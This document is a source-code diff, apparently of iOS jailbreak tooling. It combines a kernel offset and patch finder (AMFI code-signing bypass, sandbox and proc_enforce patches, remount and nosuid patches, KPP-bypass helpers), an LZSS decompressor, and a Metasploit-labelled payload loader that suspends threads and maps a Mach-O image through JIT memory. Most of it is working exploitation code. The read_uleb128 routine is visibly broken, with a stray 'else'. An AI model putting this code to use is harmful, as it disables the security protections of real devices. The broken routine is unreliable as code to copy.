return {(loc_t)cbz.pc(),mypatch,static_cast<size_t>(anz*4)};
}
patch offsetfinder64::find_i_can_has_debugger_patch_off(){
loc_t str = findstr("Darwin Kernel",false);
retassure(str, "Failed to find str");
str -=4;
return {str,"\x01",1};
}
patch offsetfinder64::find_amfi_patch_offsets(){
loc_t str = findstr("int _validateCodeDirectoryHashInDaemon",false);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn bl_amfi_memcp(_segments, ref);
loc_t memcmp = 0;
loc_t jscpl = 0;
while (1) {
while (++bl_amfi_memcp != insn::bl);
try {
jscpl = jump_stub_call_ptr_loc(bl_amfi_memcp);
} catch (tihmstar::bad_branch_destination &e) {
continue;
}
if (haveSymbols()) {
if (insn::deref(_segments, jscpl) == (uint64_t)(memcmp = find_sym("_memcmp")))
break;
}else{
//check for _memcmp function signature
insn checker(_segments, memcmp = (loc_t)insn::deref(_segments, jscpl));
if (checker == insn::cbz
&& (++checker == insn::ldrb && checker.rn() == 0)
&& (++checker == insn::ldrb && checker.rn() == 1)
// ++checker == insn::sub //i'm too lazy to implement this now, first 3 instructions should be good enough though.
) {
break;
}
}
}
/* find*/
//movz w0, #0x0
//ret
insn ret0(_segments, memcmp);
for (;; --ret0) {
if (ret0 == insn::movz && ret0.rd() == 0 && ret0.imm() == 0 && (ret0+1) == insn::ret) {
break;
}
}
uint64_t gadget = ret0.pc();
return {jscpl,&gadget,sizeof(gadget),slide_ptr};
}
patch offsetfinder64::find_proc_enforce(){
loc_t str = findstr("Enforce MAC policy on process operations", false);
retassure(str, "Failed to find str");
loc_t valref = memmem(&str, sizeof(str));
retassure(valref, "Failed to find val ref");
loc_t proc_enforce_ptr = valref - (5 * sizeof(uint64_t));
loc_t proc_enforce_val_loc = (loc_t)insn::deref(_segments, proc_enforce_ptr);
uint8_t mypatch = 1;
return {proc_enforce_val_loc,&mypatch,1};
}
vector<patch> offsetfinder64::find_nosuid_off(){
loc_t str = findstr("\"mount_common(): mount of %s filesystem failed with %d, but vnode list is not empty.\"", false);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn ldr(_segments,ref);
while (--ldr != insn::ldr);
loc_t cbnz = find_rel_branch_source(ldr, 1);
insn bl_vfs_context_is64bit(ldr,cbnz);
while (--bl_vfs_context_is64bit != insn::bl || bl_vfs_context_is64bit.imm() != (uint64_t)find_sym("_vfs_context_is64bit"));
//patch1
insn movk(bl_vfs_context_is64bit);
while (--movk != insn::movk || movk.imm() != 8);
//patch2
insn orr(bl_vfs_context_is64bit);
while (--orr != insn::orr || movk.imm() != 8);
return {{(loc_t)movk.pc(),patch_nop,patch_nop_size},{(loc_t)orr.pc(),"\xE9\x03\x08\x2A",4}}; // mov w9, w8
}
patch offsetfinder64::find_remount_patch_offset(){
loc_t off = find_syscall0();
loc_t syscall_mac_mount = (off + 3*(424-1)*sizeof(uint64_t));
loc_t __mac_mount = (loc_t)insn::deref(_segments, syscall_mac_mount);
insn patchloc(_segments, __mac_mount);
while (++patchloc != insn::tbz || patchloc.rt() != 8 || patchloc.other() != 6);
--patchloc;
constexpr char mypatch[] = "\xC8\x00\x80\x52"; //movz w8, #0x6
return {(loc_t)patchloc.pc(),mypatch,sizeof(mypatch)-1};
}
patch offsetfinder64::find_lwvm_patch_offsets(){
loc_t str = findstr("_mapForIO", false);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn functop(_segments,ref);
while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp || (functop-2) != insn::ret);
insn dstfunc(functop);
loc_t destination = 0;
while (1) {
while (++dstfunc != insn::bl);
try {
destination = jump_stub_call_ptr_loc(dstfunc);
} catch (tihmstar::bad_branch_destination &e) {
continue;
}
if (haveSymbols()) {
if (insn::deref(_segments, destination) == (uint64_t)find_sym("_PE_i_can_has_kernel_configuration"))
break;
}else{
//check for _memcmp function signature
insn checker(_segments, (loc_t)insn::deref(_segments, destination));
uint8_t reg = 0;
if ((checker == insn::adrp && (static_cast<void>(reg = checker.rd()),true))
&& (++checker == insn::add && checker.rd() == reg)
&& ++checker == insn::ldr
&& ++checker == insn::ret
) {
break;
}
}
}
while (++dstfunc != insn::bcond || dstfunc.other() != insn::cond::NE);
loc_t target = (loc_t)dstfunc.imm();
return {destination,&target,sizeof(target),slide_ptr};
}
loc_t offsetfinder64::find_sbops(){
loc_t str = findstr("Seatbelt sandbox policy", false);
retassure(str, "Failed to find str");
loc_t ref = memmem(&str, sizeof(str));
retassure(ref, "Failed to find ref");
return (loc_t)insn::deref(_segments, ref+0x18);
}
enum OFVariableType : uint32_t{
kOFVariableTypeBoolean = 1,
kOFVariableTypeNumber,
kOFVariableTypeString,
kOFVariableTypeData
} ;
enum OFVariablePerm : uint32_t{
kOFVariablePermRootOnly = 0,
kOFVariablePermUserRead,
kOFVariablePermUserWrite,
kOFVariablePermKernelOnly
};
struct OFVariable {
const char *variableName;
OFVariableType variableType;
OFVariablePerm variablePerm;
uint32_t _padding;
uint32_t variableOffset;
};
patch offsetfinder64::find_nonceEnabler_patch(){
if (!haveSymbols()){
info("Falling back to find_nonceEnabler_patch_nosym, because we don't have symbols");
return find_nonceEnabler_patch_nosym();
}
loc_t str = findstr("com.apple.System.boot-nonce",true);
retassure(str, "Failed to find str");
loc_t sym = find_sym("_gOFVariables");
insn ptr(_segments,sym, insn::kText_and_Data);
//#warning TODO: doublecast works, but is still kinda ugly
OFVariable *varp = (OFVariable*)(void*)ptr;
OFVariable nullvar = {0};
for (OFVariable *vars = varp;memcmp(vars, &nullvar, sizeof(OFVariable)) != 0; vars++) {
if ((loc_t)vars->variableName == str) {
uint8_t mypatch = (uint8_t)kOFVariablePermUserWrite;
loc_t location = sym + ((uint8_t*)&vars->variablePerm - (uint8_t*)varp);
return {location,&mypatch,1};
}
}
reterror("failed to find \"com.apple.System.boot-nonce\"");
return {0,0,0};
}
patch offsetfinder64::find_nonceEnabler_patch_nosym(){
loc_t str = findstr("com.apple.System.boot-nonce",true);
retassure(str, "Failed to find str");
loc_t valref = memmem(&str, sizeof(str));
retassure(valref, "Failed to find val ref");
loc_t str2 = findstr("com.apple.System.sep.art",true);
retassure(str2, "Failed to find str2");
loc_t valref2 = memmem(&str2, sizeof(str2));
retassure(valref2, "Failed to find val ref2");
auto diff = abs(valref - valref2);
assure(diff % sizeof(OFVariable) == 0 && diff < 0x50); //simple sanity check
insn ptr(_segments, valref, insn::kText_and_Data);
OFVariable *vars = (OFVariable*)(void*)ptr;
if ((loc_t)vars->variableName == str) {
uint8_t mypatch = (uint8_t)kOFVariablePermUserWrite;
loc_t location = valref + offsetof(OFVariable, variablePerm);
return {location,&mypatch,1};
}
reterror("failed to find \"com.apple.System.boot-nonce\"");
return {0,0,0};
}
#pragma mark KPP bypass
loc_t offsetfinder64::find_gPhysBase(){
loc_t ref = find_sym("_ml_static_ptovirt");
insn tgtref(_segments, ref);
loc_t gPhysBase = 0;
if (tgtref != insn::adrp)
while (++tgtref != insn::adrp);
gPhysBase = (loc_t)tgtref.imm();
while (++tgtref != insn::ldr);
gPhysBase += tgtref.imm();
return gPhysBase;
}
loc_t offsetfinder64::find_gPhysBase_nosym(){
loc_t str = findstr("\"pmap_map_high_window_bd: area too large", false);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn tgtref(_segments, ref);
loc_t gPhysBase = 0;
while (++tgtref != insn::adrp);
gPhysBase = (loc_t)tgtref.imm();
while (++tgtref != insn::ldr);
gPhysBase += tgtref.imm();
return gPhysBase;
}
loc_t offsetfinder64::find_kernel_pmap(){
if (haveSymbols()) {
return find_sym("_kernel_pmap");
}else{
return find_kernel_pmap_nosym();
}
}
loc_t offsetfinder64::find_kernel_pmap_nosym(){
loc_t str = findstr("\"pmap_map_bd\"", true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str, 1);
retassure(ref, "literal ref to str");
insn btm(_segments,ref);
while (++btm != insn::ret);
insn kerne_pmap_ref(btm);
while (--kerne_pmap_ref != insn::adrp);
uint8_t reg = kerne_pmap_ref.rd();
loc_t kernel_pmap = (loc_t)kerne_pmap_ref.imm();
while (++kerne_pmap_ref != insn::ldr || kerne_pmap_ref.rn() != reg);
assure(kerne_pmap_ref.pc()<btm.pc());
kernel_pmap += kerne_pmap_ref.imm();
return kernel_pmap;
}
loc_t offsetfinder64::find_cpacr_write(){
return memmem("\x40\x10\x18\xD5", 4);
}
loc_t offsetfinder64::find_idlesleep_str_loc(){
loc_t entryp = find_entry();
insn finder(_segments,entryp);
assure(finder == insn::b);
insn deepsleepfinder(finder, (loc_t)finder.imm());
while (--deepsleepfinder != insn::nop);
loc_t fref = find_literal_ref(_segments, (loc_t)(deepsleepfinder.pc())+4+0xC);
insn str(finder,fref);
while (++str != insn::str);
while (++str != insn::str);
loc_t idlesleep_str_loc = (loc_t)str.imm();
int rn = str.rn();
while (--str != insn::adrp || str.rd() != rn);
idlesleep_str_loc += str.imm();
return idlesleep_str_loc;
}
loc_t offsetfinder64::find_deepsleep_str_loc(){
loc_t entryp = find_entry();
insn finder(_segments,entryp);
assure(finder == insn::b);
insn deepsleepfinder(finder, (loc_t)finder.imm());
while (--deepsleepfinder != insn::nop);
loc_t fref = find_literal_ref(_segments, (loc_t)(deepsleepfinder.pc())+4+0xC);
insn str(finder,fref);
while (++str != insn::str);
loc_t idlesleep_str_loc = (loc_t)str.imm();
int rn = str.rn();
while (--str != insn::adrp || str.rd() != rn);
idlesleep_str_loc += str.imm();
return idlesleep_str_loc;
}
loc_t offsetfinder64::find_rootvnode() {
return find_sym("_rootvnode");
}
loc_t offsetfinder64::find_allproc(){
loc_t str = findstr("\"pgrp_add : pgrp is dead adding process\"",true);
retassure(str, "Failed to find str");
loc_t ref = find_literal_ref(_segments, str);
retassure(ref, "literal ref to str");
insn ptr(_segments,ref);
while (++ptr != insn::and_ || ptr.rd() != 8 || ptr.rn() != 8 || ptr.imm() != 0xffffffffffffdfff);
loc_t retval = (loc_t)find_register_value(ptr-2, 8);
return retval;
}
offsetfinder64::~offsetfinder64(){
if (_freeKernel) safeFree(_kdata);
}
//
@@ -0,0 +1,132 @@
//
// offsetfinder64.hpp
// offsetfinder64
//
// Created by tihmstar on 10.01.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#ifndef offsetfinder64_hpp
#define offsetfinder64_hpp
#include <string>
#include <stdint.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld_images.h>
#include <vector>
#include <functional>
#include <stdlib.h>
#include "common.h"
#include "insn.hpp"
#include "exception.hpp"
#include "patch.hpp"
namespace tihmstar {
class offsetfinder64 {
public:
enum tristate{
kfalse = 0,
ktrue = 1,
kuninitialized = 2
};
private:
bool _freeKernel;
bool _kernelIsSlid;
uint64_t _kslide;
uint8_t *_kdata;
size_t _ksize;
patchfinder64::loc_t _kernel_entry;
patchfinder64::loc_t _kernel_base;
std::vector<patchfinder64::text_t> _segments;
tristate _haveSymtab = kuninitialized;
struct symtab_command *__symtab;
void loadSegments();
__attribute__((always_inline)) struct symtab_command *getSymtab();
public:
offsetfinder64(const char *filename, uint64_t kslide = 0, tristate haveSymbols = kuninitialized);
offsetfinder64(void* buf, size_t size, uint64_t kslide, tristate haveSymbols = kfalse);
const void *kdata();
patchfinder64::loc_t find_entry();
patchfinder64::loc_t find_base();
const std::vector<patchfinder64::text_t> &segments(){return _segments;};
bool haveSymbols();
patchfinder64::loc_t memmem(const void *little, size_t little_len);
uint64_t deref(patchfinder64::loc_t pos);
patchfinder64::loc_t find_sym(const char *sym);
patchfinder64::loc_t find_syscall0();
uint64_t find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0);
/*------------------------ v0rtex -------------------------- */
patchfinder64::loc_t find_zone_map();
patchfinder64::loc_t find_kernel_map();
patchfinder64::loc_t find_kernel_task();
patchfinder64::loc_t find_realhost();
patchfinder64::loc_t find_bzero();
patchfinder64::loc_t find_bcopy();
patchfinder64::loc_t find_copyout();
patchfinder64::loc_t find_copyin();
patchfinder64::loc_t find_ipc_port_alloc_special();
patchfinder64::loc_t find_ipc_kobject_set();
patchfinder64::loc_t find_ipc_port_make_send();
patchfinder64::loc_t find_chgproccnt();
patchfinder64::loc_t find_kauth_cred_ref();
patchfinder64::loc_t find_osserializer_serialize();
uint32_t find_vtab_get_external_trap_for_index();
uint32_t find_vtab_get_retain_count();
uint32_t find_iouserclient_ipc();
uint32_t find_ipc_space_is_task();
uint32_t find_ipc_space_is_task_11();
uint32_t find_proc_ucred();
uint32_t find_task_bsd_info();
uint32_t find_vm_map_hdr();
uint32_t find_task_itk_self();
uint32_t find_task_itk_registered();
uint32_t find_sizeof_task();
patchfinder64::loc_t find_rop_add_x0_x0_0x10();
patchfinder64::loc_t find_rop_ldr_x0_x0_0x10();
patchfinder64::loc_t find_exec(std::function<bool(patchfinder64::insn &i)>cmpfunc);
/*------------------------ kernelpatches -------------------------- */
patchfinder64::patch find_i_can_has_debugger_patch_off();
patchfinder64::patch find_lwvm_patch_offsets();
patchfinder64::patch find_remount_patch_offset();
std::vector<patchfinder64::patch> find_nosuid_off();
patchfinder64::patch find_proc_enforce();
patchfinder64::patch find_amfi_patch_offsets();
patchfinder64::patch find_cs_enforcement_disable_amfi();
patchfinder64::patch find_amfi_substrate_patch();
patchfinder64::patch find_sandbox_patch();
patchfinder64::loc_t find_sbops();
patchfinder64::patch find_nonceEnabler_patch();
patchfinder64::patch find_nonceEnabler_patch_nosym();
/*------------------------ KPP bypass -------------------------- */
patchfinder64::loc_t find_gPhysBase();
patchfinder64::loc_t find_gPhysBase_nosym();
patchfinder64::loc_t find_kernel_pmap();
patchfinder64::loc_t find_kernel_pmap_nosym();
patchfinder64::loc_t find_cpacr_write();
patchfinder64::loc_t find_idlesleep_str_loc();
patchfinder64::loc_t find_deepsleep_str_loc();
/*------------------------ Util -------------------------- */
patchfinder64::loc_t find_rootvnode();
patchfinder64::loc_t find_allproc();
~offsetfinder64();
};
}
#endif /* offsetfinder64_hpp */
@@ -0,0 +1,105 @@
//
// lzssdec.h
// img4tool
//
// Code borrowed from: http://newosxbook.com/src.jl?tree=listings&file=joker.c
// Coded by Jonathan Levin (a.k.a @Morpheus______), http://newosxbook.com
#include "lzssdec.h"
#include <string.h>
#include <stdlib.h>
/**************************************************************
LZSS.C -- A Data Compression Program
***************************************************************
4/6/1989 Haruhiko Okumura
Use, distribute, and modify this program freely.
Please send me your improved versions.
PC-VAN SCIENCE
NIFTY-Serve PAF01022
CompuServe 74050,1022
**************************************************************/
/*
* lzss.c - Package for decompressing lzss compressed objects
*
* Copyright (c) 2003 Apple Computer, Inc.
*
* DRI: Josh de Cesare
*/
#define N 4096 /* size of ring buffer - must be power of 2 */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length
if match_length is greater than this */
#define NIL N /* index for root of binary search trees */
int decompress_lzss(u_int8_t *dst, u_int8_t *src, u_int32_t srclen){
/* ring buffer of size N, with extra F-1 bytes to aid string comparison */
u_int8_t text_buf[N + F - 1];
u_int8_t *dststart = dst;
u_int8_t *srcend = src + srclen;
int i, j, k, r, c;
unsigned int flags;
dst = dststart;
srcend = src + srclen;
for (i = 0; i < N - F; i++)
text_buf[i] = ' ';
r = N - F;
flags = 0;
for ( ; ; ) {
if (((flags >>= 1) & 0x100) == 0) {
if (src < srcend) c = *src++; else break;
flags = c | 0xFF00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
if (src < srcend) c = *src++; else break;
*dst++ = c;
text_buf[r++] = c;
r &= (N - 1);
} else {
if (src < srcend) i = *src++; else break;
if (src < srcend) j = *src++; else break;
i |= ((j & 0xF0) << 4);
j = (j & 0x0F) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
*dst++ = c;
text_buf[r++] = c;
r &= (N - 1);
}
}
}
return (int)(dst - dststart);
}
struct compHeader {
char sig[8] ; // "complzss"
uint32_t unknown; // Likely CRC32. But who cares, anyway?
uint32_t uncompressedSize;
uint32_t compressedSize;
uint32_t unknown1; // 1
};
char *tryLZSS(char *compressed, size_t *filesize){
struct compHeader *compHeader = (struct compHeader*)compressed;
if (!compHeader) return NULL;
int sig[2] = { 0xfeedfacf, 0x0100000c };
char *decomp = malloc (ntohl(compHeader->uncompressedSize));
char *feed = memmem(compressed+64, 1024, sig, sizeof(sig));
if (!feed)
return NULL;
feed--;
int rc = decompress_lzss((void*)decomp, (void*)feed, ntohl(compHeader->compressedSize));
if (rc != ntohl(compHeader->uncompressedSize)) {
return NULL;
}
*filesize = rc;
return (decomp);
} // compLZSS
@@ -0,0 +1,16 @@
//
// lzssdec.h
// img4tool
//
// Code borrowed from: http://newosxbook.com/src.jl?tree=listings&file=joker.c
// Coded by Jonathan Levin (a.k.a @Morpheus______), http://newosxbook.com
#ifndef lzssdec_h
#define lzssdec_h
#include <stdint.h>
#include <stdlib.h>
char *tryLZSS(char *compressed, size_t *filesize);
#endif /* lzssdec_h */
@@ -0,0 +1,36 @@
//
// patch.cpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#include "patch.hpp"
using namespace tihmstar::patchfinder64;
patch::patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide)) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){
_patch = malloc(_patchSize);
memcpy((void*)_patch, patch, _patchSize);
_slideme = (_slidefunc) ? true : false;
}
patch::patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){
_patch = malloc(_patchSize);
memcpy((void*)_patch, cpy._patch, _patchSize);
_slidefunc = cpy._slidefunc;
_slideme = cpy._slideme;
}
void patch::slide(uint64_t slide){
if (!_slideme)
return;
printf("sliding with %p\n",(void*)slide);
_slidefunc(this,slide);
_slideme = false; //only slide once
}
patch::~patch(){
free((void*)_patch);
}
@@ -0,0 +1,36 @@
//
// patch.hpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#ifndef patch_hpp
#define patch_hpp
#include "common.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
namespace tihmstar {
namespace patchfinder64{
class patch{
bool _slideme;
void(*_slidefunc)(class patch *patch, uint64_t slide);
public:
const loc_t _location;
const void *_patch;
const size_t _patchSize;
patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL);
patch(const patch& cpy);
void slide(uint64_t slide);
~patch();
};
}
}
#endif /* patch_hpp */
+398
View File
@@ -0,0 +1,398 @@
#include <stdio.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/fat.h>
#include <mach-o/loader.h>
#include <sys/mman.h>
#include <mach/vm_map.h>
#include "magic.h"
/*#define DEBUG 1*/
//asl_log isn't working, so: idevicesyslog | grep SandboxViolation
#ifdef DEBUG
#define debug_print(fmt, ...) \
do { \
char* buffer = malloc_func(1024); \
sprintf_func(buffer, fmt, __VA_ARGS__); \
fopen_func(buffer, "w"); \
free_func(buffer); \
} while (0)
//do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
#else
#define debug_print(fmt, ...)
#endif
#define DLSYM_FUNC(func, library, return_type, args...) \
typedef return_type (*func##_ptr)(args); \
func##_ptr func##_func = dlsym_func(library, #func);
typedef void* (*t_dlsym)(void* handle, const char* symbol);
typedef void* (*t_dlopen)(const char* library, int rtld);
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend);
void init(void* dlopen_addr, void* dlsym_addr, void* jitwrite_addr, uint64_t startOfFixMem, uint64_t endOfFixMem)
{
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
dlsym_ptr dlsym_func = dlsym_addr;
typedef void* (*dlopen_ptr)(const char *filename, int flags);
dlopen_ptr dlopen_func = dlopen_addr;
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
// Suspend threads
typedef mach_port_t (*mach_task_self_ptr)();
typedef thread_port_t (*mach_thread_self_ptr)();
typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
thread_act_t current_thread = mach_thread_self_func();
mach_msg_type_number_t thread_count;
thread_act_array_t thread_list;
kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
if (!result && thread_count) {
for (unsigned int i = 0; i < thread_count; ++i) {
thread_act_t other_thread = thread_list[i];
if (other_thread != current_thread) {
thread_suspend_func(other_thread);
}
}
}
uint64_t payloadBuffer = endOfFixMem - (0x100000 - 0x10000);
#ifdef DEBUG
DLSYM_FUNC(malloc, libsystem, void*, size_t)
DLSYM_FUNC(free, libsystem, void*)
DLSYM_FUNC(sprintf, libsystem, int, char* str, const char * format, ... );
DLSYM_FUNC(fopen, libsystem, FILE*, const char * filename, const char * mode );
debug_print("%s", "hello from metasploit");
debug_print("%s", "hello from metasploit");
debug_print("%s", "hello from metasploit");
debug_print("%s", "hello from metasploit");
debug_print("%s", "hello from metasploit");
debug_print("main:%p", (void*)init);
debug_print("end:%p", (void*)endOfFixMem);
debug_print("buffer:%p", (void*)payloadBuffer);
debug_print("nbuffer:%p", (void*)*(uint64_t*)payloadBuffer);
debug_print("start:%p", (void*)startOfFixMem);
#endif
load((void*)payloadBuffer, (t_dlsym)dlsym_func, jitwrite_addr, (void*)startOfFixMem, (void*)endOfFixMem);
}
void fail(uint64_t x) {
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
}
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
#define MIN(x,y) ((x)<(y)?(x):(y))
#define MAX(x,y) ((x)>(y)?(x):(y))
void performJITMemcpy(t_dlsym _dlsym, void* jitwrite, void* startOfFixMem, void* dst, void* src, size_t size)
{
typedef void (*JITWriteSeparateHeapsFunction)(off_t, const void*, size_t);
JITWriteSeparateHeapsFunction jitWriteSeparateHeapsFunction = jitwrite;
ASSERT(jitWriteSeparateHeapsFunction);
ASSERT(startOfFixMem);
int (*_memcmp)(const void *, const void*, size_t) = _dlsym(RTLD_DEFAULT, "memcmp");
off_t offset = (off_t)((uintptr_t)dst - (uintptr_t)startOfFixMem);
jitWriteSeparateHeapsFunction(offset, src, size);
ASSERT(!_memcmp(dst, src, size));
}
static inline uintptr_t read_uleb128(uint8_t** pp, uint8_t* end)
{
uint8_t* p = *pp;
uint64_t result = 0;
int bit = 0;
do {
ASSERT(p != end);
uint64_t slice = *p & 0x7f;
ASSERT(bit <= 63);
else {
result |= (slice << bit);
bit += 7;
}
} while (*p++ & 0x80);
*pp = p;
return result;
}
static inline uintptr_t read_sleb128(uint8_t** pp, uint8_t* end)
{
uint8_t* p = *pp;
int64_t result = 0;
int bit = 0;
uint8_t byte;
do {
ASSERT(p != end);
byte = *p++;
result |= (((int64_t)(byte & 0x7f)) << bit);
bit += 7;
} while (byte & 0x80);
// sign extend negative numbers
if ( (byte & 0x40) != 0 )
result |= (-1LL) << bit;
*pp = p;
return result;
}
// <3 qwerty
void rebase(struct dyld_info_command* dyld_info,
uint8_t* map,
uintptr_t* segstart,
uintptr_t linkedit_base,
uintptr_t reloc_slide) {
uint8_t* start = map + dyld_info->rebase_off + linkedit_base;
uint8_t* end = start + dyld_info->rebase_size;
uintptr_t address = (uintptr_t)map;
uintptr_t count = 0, skip = 0;
char done = 0;
uint8_t* p = start;
while (!done && (p < end)) {
uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
uint8_t opcode = *p & REBASE_OPCODE_MASK;
++p;
switch (opcode) {
case REBASE_OPCODE_DONE:
done = 1;
break;
case REBASE_OPCODE_SET_TYPE_IMM:
ASSERT(immediate == REBASE_TYPE_POINTER);
break;
case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
break;
case REBASE_OPCODE_ADD_ADDR_ULEB:
address += read_uleb128(&p, end);
break;
case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
address += immediate * sizeof(uintptr_t);
break;
case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
for (int i=0; i < immediate; ++i) {
*(uintptr_t*)(address) += reloc_slide;
address += sizeof(uintptr_t);
}
break;
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
count = read_uleb128(&p, end);
for (int i = 0; i < count; ++i) {
*(uintptr_t*)(address) += reloc_slide;
address += sizeof(uintptr_t);
}
break;
case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB:
*(uintptr_t*)(address) += reloc_slide;
address += read_uleb128(&p, end) + sizeof(uintptr_t);
break;
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
count = read_uleb128(&p, end);
skip = read_uleb128(&p, end);
for (int i = 0; i < count; ++i) {
*(uintptr_t*)address += reloc_slide;
address += skip + sizeof(uintptr_t);
}
break;
default:
ASSERT(0);
break;
}
}
}
void bindit(struct dyld_info_command* dyld_info,
uint8_t* map,
uintptr_t* segstart,
uintptr_t linkedit_base,
t_dlsym _dlsym) {
uint8_t* start = map + dyld_info->bind_off + linkedit_base;
uint8_t* end = start + dyld_info->bind_size;
uintptr_t address = (uintptr_t)map;
uintptr_t count = 0, skip = 0;
char done = 0;
unsigned char type = 0;
uint8_t* p = start;
char* symbolName=0;
while (!done && (p < end)) {
uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
uint8_t opcode = *p & BIND_OPCODE_MASK;
++p;
switch (opcode) {
case BIND_OPCODE_DONE:
done = 1;
break;
case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
break;
case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
read_uleb128(&p, end);
break;
case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
break;
case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
symbolName = (char*)p;
while (*p != '\0')
++p;
++p;
break;
case BIND_OPCODE_SET_TYPE_IMM:
break;
case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
break;
case BIND_OPCODE_SET_ADDEND_SLEB:
read_sleb128(&p, end);
break;
case BIND_OPCODE_ADD_ADDR_ULEB:
address += read_uleb128(&p, end);
break;
case BIND_OPCODE_DO_BIND:
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
address += sizeof(uintptr_t);
break;
case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
address += read_uleb128(&p, end) + sizeof(uintptr_t);
break;
case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
address += (immediate + 1) * sizeof(uintptr_t);
break;
case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:
count = read_uleb128(&p, end);
skip = read_uleb128(&p, end);
for (uint32_t i = 0; i < count; ++i) {
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
address += skip + sizeof(uintptr_t);
}
break;
default:
ASSERT(0);
}
}
}
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend)
{
# define FOR_COMMAND \
lc = (void*)(header + 1); \
for (int i = 0; i < header->ncmds; ++i, lc = (void*)((char*)lc + lc->cmdsize)) { \
# define FOR_SEGMENT_64 \
FOR_COMMAND \
if (lc->cmd != LC_SEGMENT_64) \
continue; \
struct segment_command_64* sc = (void*)lc; \
if (!_strcmp(sc->segname, "__PAGEZERO")) \
continue;
void* (*_mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
void* (*_memcpy)(void *restrict dst, const void *restrict src, size_t n);
int (*_strcmp)(const char *s1, const char *s2);
_mmap = _dlsym(RTLD_DEFAULT, "mmap");
_memcpy = _dlsym(RTLD_DEFAULT, "memcpy");
_strcmp = _dlsym(RTLD_DEFAULT, "strcmp");
uintptr_t exec_base = -1, exec_end = 0,
write_base = -1, write_end = 0,
base = -1, end = 0;
uint32_t* x = (uint32_t*)buffer;
while (*x != 0xfeedfacf)
x--;
struct mach_header_64* header = (struct mach_header_64*)x;
struct load_command* lc;
uintptr_t linkedit_base = 0;
uintptr_t segstart[32];
int segcnt = 0;
FOR_SEGMENT_64
uintptr_t from = sc->vmaddr, to = from + sc->vmsize;
segstart[segcnt++] = from;
if (!_strcmp(sc->segname, "__LINKEDIT"))
linkedit_base = sc->vmaddr - sc->fileoff;
if (sc->initprot & VM_PROT_EXECUTE) {
exec_base = MIN(exec_base, from);
exec_end = MAX(exec_end, to);
}
if (sc->initprot & VM_PROT_WRITE) {
write_base = MIN(write_base, from);
write_end = MAX(write_end, to);
}
base = MIN(base, from);
end = MAX(end, to);
}
